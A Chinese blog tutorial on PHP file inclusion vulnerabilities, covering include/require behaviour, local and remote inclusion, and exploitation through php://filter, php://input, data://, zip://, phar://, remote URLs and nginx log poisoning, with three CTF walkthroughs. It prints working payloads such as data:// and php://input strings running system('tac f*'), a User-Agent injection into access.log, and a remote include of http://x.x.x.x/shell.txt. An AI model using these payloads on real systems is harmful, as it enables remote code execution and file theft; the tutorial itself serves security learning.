首页 > 其他分享 >文件处理漏洞--文件包含

文件处理漏洞--文件包含

时间:2024-04-26 15:23:28浏览次数:20  
标签:文件 include 包含 -- 漏洞 file php data

一、什么是文件包含

程序开发人员一般会吧重复使用的函数写道单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,文件调用的过程就是文件包含,所以将包含的文件设置为变量,用来动态调用,但是这种灵活性,导致客户端可以调用一个恶意文件,造成文件包含漏洞

 

通过PHP函数引入文件时,传入的文件名未经过合理验证,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意代码注入。

<?php

  error_reporting(0);

  $file = $_GET["file"];

  include $file;

二、PHP文件包含常用函数

1、include

include()在包含的过程中如果出现错误,只产生警告,并且脚本会继续

2、require

require()在包含的过程中如果出现错误,会生成致命错误,并停止脚本

3、include_once、require_once

如果文件已包含,则不会包含,以避免函数重复定义,变量重新赋值等问题

4、在写法上 include('xx')   ====   include 'xx'

三、文件包含分类

本地文件包含

远程文件包含

allow_url_fopen=on(默认为on):规定是否允许从远程服务器或者网站检索数据

allow_url_include-on(php5.5以后默认为off):规定是否允许include/require远程文件

四、文件包含漏洞利用

1、任意文件读取

当文件包含的文件没有被php标签包裹时,会直接显示包含文件的内容,否子会被先解析为php代码,结果进行输出

 eg:flage.txt  里面是<?php  开头    会解析成php文件

 

直接包含本地php文件,只能得到运行后的结果,如果想要得到具体内容可以利用php中的filter伪协议

将文件编码成base64后输出

php://filter/read=convert.base64-encode/resource=xxx

 

 

 

 

 

 

 

 

 

 

 

将内容进行rot13编码后输出

php://filter/read=string.rot13/resource=xxx

 

2、执行php代码

filter伪协议解析以及其对应过滤器

 

 

 

 

filter支持同时多种过滤器一起使用

 

 

1)、利用input伪协议

php://input可以获取POST的数据流,当与包含函数结合时,php://input流会被当做php文件执行,从而导致任意代码执行

条件:allow_url_fopen=off/on、allow_url_include=on

利用方法:

?file=php://input

[POST DATA] <?php phpinfo(); ?>

 

 

2)、利用data为协议

data://同样类似于php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当做php文件执行。从而导致任意代码执行

条件:allow_url_fopen=on、allow_url_include=on

利用方法:

data://[<MIME-type>][;charset=<encoding>][;base64],<data>

?file=data://text/plain,<?php phpinfo();?>

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

3)、利用zip为协议

zip://可以访问压缩包里的文件,当与包含函数结合时,zip://流会被当作php文件执行,从而实现任意代码执行

只需要时zip的压缩包即可,后缀名可以任意修改

相同类型的还有zlib://和bzip2://

条件:allow_url_fopen=off/on、allow_url_include=off/on

利用方法

zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip.jpg#phpinfo.txt

4)、利用phar伪协议

phar://有点类似zip://同样可以导致任意代码执行

phar://中相对路径和绝对路径都可以使用

条件:allow_url_fopen=off/on、allow_url_include=off/on

利用方法

?file=phar://shell.phar/a.txt

?file=phar:///var/www/html/shell.phar/a.txt

5)、利用远程文件包含

条件:allow_url_fopen=on、allow_url_include=on

利用方法:?file=http://x.x.x.x/shell.txt

如果包含的远程文件后缀为php,返回的内容是远程执行后的结果,而非本地执行的结果

6)、日志文件包含

概述

是通过插入恶意代码到日志文件来实施攻击,当这些日志被系统其他应用程序解析时,攻击者的恶意数据可能会被执行,这通常利用了不安全的日志处理机制和文件包含的组合

具体攻击步骤看实例三

 

五、文件包含绕过技巧

1、前缀绕过

测试代码如下,其中在根目录下存在flag文件,目的时文件包含

<?php

  $file=$_GET['file'];

  include('/var/www/html'.$file)

?>

使用../../来返回上一目录,被称为目录遍历 eg:?file=../../phpinfo/phpinfo.php

POC:file=../../../../../flag     因为flag在根目录下所以向上四层,到达根目录

2、后缀绕过

测试代码如下,其中在根目录下存在flag文件,目的是读取文件

<?php

  $file=$_GET['file'];

  include($file.'.php');

?>

 poc:

?file=http://x.x.x.x/shell.txt?s=

?file=http://x.x.x.x/shell#

 

 

示例一:

 由图可以看出代码对php进行了过滤替换

1、data伪协议

<?php phpinfo();?>     PD9waHAgcGhwaW5mbygpPz4=

 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

?file=data://text/plain,<?= system("cat flag.???");?>      ?可以进行泛匹配
?file=data://text/plain,<?= system("cat f*");?>                  *可以进行泛匹配
?file=data://text/plain,<?= system("tac f*");?>

 <?php system("cat flag.php");?>     PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAgIik7Pz4=

 

 2、input伪协议

/?file=php://input

<?php phpinfo();?>

 根据源码只是过滤的请求的file,没有过滤body的php   大小写绕过

 <?php system("cat flag.php");?>

 

 

示例二、

由图可以看出代码禁掉了php data

 

 使用input伪协议  对php大小写绕过

 <?= system("tac f*");?>

 示例三、

由下图可知:php,data伪协议和:都被禁了

:被禁意味伪协议无法使用,只能使用日志包含

 

 ?file=/var/log/nginx/access.log   查看访问日志  既然User-Agent被保存到了日志中,那将User-Agent替换为恶意代码

 有图可以看到1111被写入到了日志中

 替换成恶意代码

 

 https://5cf03535-72f3-4e6a-84a5-33842fc98c77.challenge.ctf.show/?file=/var/log/nginx/access.log       post请求

1=system('ls');

 https://5cf03535-72f3-4e6a-84a5-33842fc98c77.challenge.ctf.show/?file=/var/log/nginx/access.log

1=system('tac fl0g.php');

标签:文件,include,包含,--,漏洞,file,php,data
From: https://www.cnblogs.com/gudexiao-1996/p/18155085

相关文章

  • 64位系统操作注册表遇到的问题
    最近在研究IS脚本设置jdk环境变量问题,在使用RegDBKeyExist判断注册表中项的时候一直找不到,翻找文档后发现64位的操作系统需要设置REGDB_OPTIONS。"SOFTWARE\\JavaSoft\\JavaDevelopmentKit\\1.8.0_191"JavaDevelopmentKit存在空格,如果路径中没有空格,应该不用设置。if(SY......
  • Java四种实现单例模式
    饿汉式/***1.饿汉式:线程安全,耗费资源*场景:*资源共享:当需要在多个模块中共享同一个实例时*全局访问点:作为全局唯一的访问点,例如日志记录器、配置管理器等。*线程安全要求高:饿汉式单例模式在类加载时就创建实例,因此不存在线程安全问题,适合多线程环境下使用。*避......
  • ubuntu server 24.4升级版本提示Command terminated with exit status1
    原来使用的是ubuntuserver23.10属于一个只有9个月的临时版现在发布24.04了直接升级一下吧。第一次大版本升级查看系统版本cat/etc/os-release 更新可用升级包并卸载不再使用的包sudoaptupdate&&sudoaptfull-upgrade-y&&sudoaptautoremove更新完......
  • 实验三-软件测试
    一、实验题目:软件测试二、实验目的1、熟悉开发环境下的自动化测试工具;1、利用自动化测试工具进行自动化单元测试。三、实验内容1、选择开发环境,IDEA或PYCHARM任选其一;2、基于所选择的开发环境实现对输入的n个整数进行排序的代码;3、对所编写代码设计测试用例;4、基于所选择......
  • 有关FTP服务器搭建于FTP加密技术的学习笔记
    FTP文件传输协议本篇是学习笔记,只整理相关链接,诚挚感谢各文章的博主。本文章不定期拓展内容。一、有关FTP的基本概念(一)、什么是FTP什么是FTPFTP的优势(二)、FTP扩展安全协议《FTP,SFTP,FTPS,SSL,TSL简介,区别,联系,使用场景说明》二、服务器搭建与客户端使用(......
  • 超实用的电脑桌面便签+待办清单app
    对于上班族来说,桌面便签加待办清单软件是提升工作效率的得力助手。想象一下,在繁忙的工作中,你能够快速记录重要事项,设置待办任务提醒,一切都能有条不紊地进行。这种便捷性,尤其在处理多项任务和紧急事务时,显得尤为重要。目前支持界面悬浮在桌面上显示,并且兼具便签记事、待办清单记录......
  • sql语句优化的30种方法
    作者:羋虹光链接:https://www.jianshu.com/p/3ab117c83d0b1.对查询进行优化,应尽量避免全表扫描,首先应考虑在where及orderby涉及的列上建立索引。2.应尽量避免在where子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。3.应尽量避免在where子句中对字段进......
  • lc2
    给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。请你将两个数相加,并以相同形式返回一个表示和的链表。你可以假设除了数字0之外,这两个数都不会以0 开头。1#Definitionforsingly-linkedlist......
  • 一个比 Celery 轻量好用的异步任务工具
    转载自:https://mp.weixin.qq.com/s/w579duXw7dHIBQuUhD7VfgRQ 是Python中一个基于Redis的简单的,轻量级的异步任务工具。通过 RQ,您可以将耗时的任务放入队列中异步执行,而不会阻塞主应用程序的执行。# 1、安装通过pip可以直接安装它$ pip install rq# 2、核心概念......
  • VMware之Ubuntu20.04拓展根目录磁盘空间
    1、改变虚拟磁盘大小关闭Ubuntu右键—>设置—>硬盘—->实用工具—>扩展填入扩展后的分区大小确定2、查看磁盘使用情况开启Ubuntu输入:df-hcl@cl:~$df-hFilesystemSizeUsedAvailUse%Mountedonudev955M0955M0%/devtmpfs......